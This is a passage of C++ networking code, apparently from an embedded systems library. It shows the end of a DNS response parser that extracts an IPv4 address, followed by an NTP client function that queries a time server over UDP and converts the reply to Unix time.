if (pResponse-RecvBuffer >= nRecvSize)
{
return FALSE;
}
}
pResponse += sizeof (TDNSQueryTrailer);
if (pResponse-RecvBuffer >= nRecvSize)
{
return FALSE;
}
TDNSResourceRecordTrailerAIN RRTrailer;
// parse the answer section
while (1)
{
nLength = *pResponse++;
if ((nLength & 0xC0) == 0xC0) // check for compression
{
pResponse++;
}
else
{
if (pResponse-RecvBuffer >= nRecvSize)
{
return FALSE;
}
while ((nLength = *pResponse++) > 0)
{
pResponse += nLength;
if (pResponse-RecvBuffer >= nRecvSize)
{
return FALSE;
}
}
}
if (pResponse-RecvBuffer > (int) (nRecvSize-sizeof RRTrailer))
{
return FALSE;
}
memcpy (&RRTrailer, pResponse, sizeof RRTrailer);
if ( RRTrailer.nType == BE (DNS_QTYPE_A)
&& RRTrailer.nClass == BE (DNS_QCLASS_IN)
&& RRTrailer.nRDLength == BE (DNS_RDLENGTH_AIN))
{
break;
}
pResponse += DNS_RR_TRAILER_HEADER_LENGTH + BE (RRTrailer.nRDLength);
if (pResponse-RecvBuffer >= nRecvSize)
{
return FALSE;
}
}
assert (pIPAddress != 0);
pIPAddress->Set (RRTrailer.RData);
return TRUE;
}
unsigned CNTPClient::GetTime (CIPAddress &rServerIP)
{
assert (m_pNetSubSystem != 0);
CSocket Socket (m_pNetSubSystem, IPPROTO_UDP);
if (Socket.Connect (rServerIP, 123) != 0)
{
return 0;
}
u8 NTPPacket[NTP_PACKET_SIZE];
memset (NTPPacket, 0, sizeof NTPPacket);
NTPPacket[0] = 0xE3; // leap indicator: unknown, version: 4, mode: client
NTPPacket[1] = 0; // stratum: unspecified
NTPPacket[2] = 10; // poll: 1024 seconds
NTPPacket[3] = 0; // precision: 1 second
memcpy (NTPPacket+12, "XCIR", 4);
unsigned char RecvPacket[NTP_PACKET_SIZE];
unsigned nTry;
for (nTry = 1; nTry <= 3; nTry++)
{
if (Socket.Send (NTPPacket, sizeof NTPPacket, 0) != sizeof NTPPacket)
{
CLogger::Get ()->Write (FromNTPClient, LogError, "Send failed");
return 0;
}
CScheduler::Get ()->MsSleep (1000);
int nResult = Socket.Receive (RecvPacket, sizeof RecvPacket, MSG_DONTWAIT);
if (nResult < 0)
{
CLogger::Get ()->Write (FromNTPClient, LogError, "Receive failed");
return 0;
}
if (nResult >= 44)
{
break;
}
}
if (nTry > 3)
{
CLogger::Get ()->Write (FromNTPClient, LogError, "Invalid or no response");
return 0;
}
unsigned nSecondsSince1900;
nSecondsSince1900 = (unsigned) RecvPacket[40] << 24
| (unsigned) RecvPacket[41] << 16
| (unsigned) RecvPacket[42] << 8
| (unsigned) RecvPacket[43];
if (nSecondsSince1900 < SEVENTY_YEARS)
{
return 0;
}
unsigned nTime = nSecondsSince1900 - SEVENTY_YEARS;
return nTime;
}
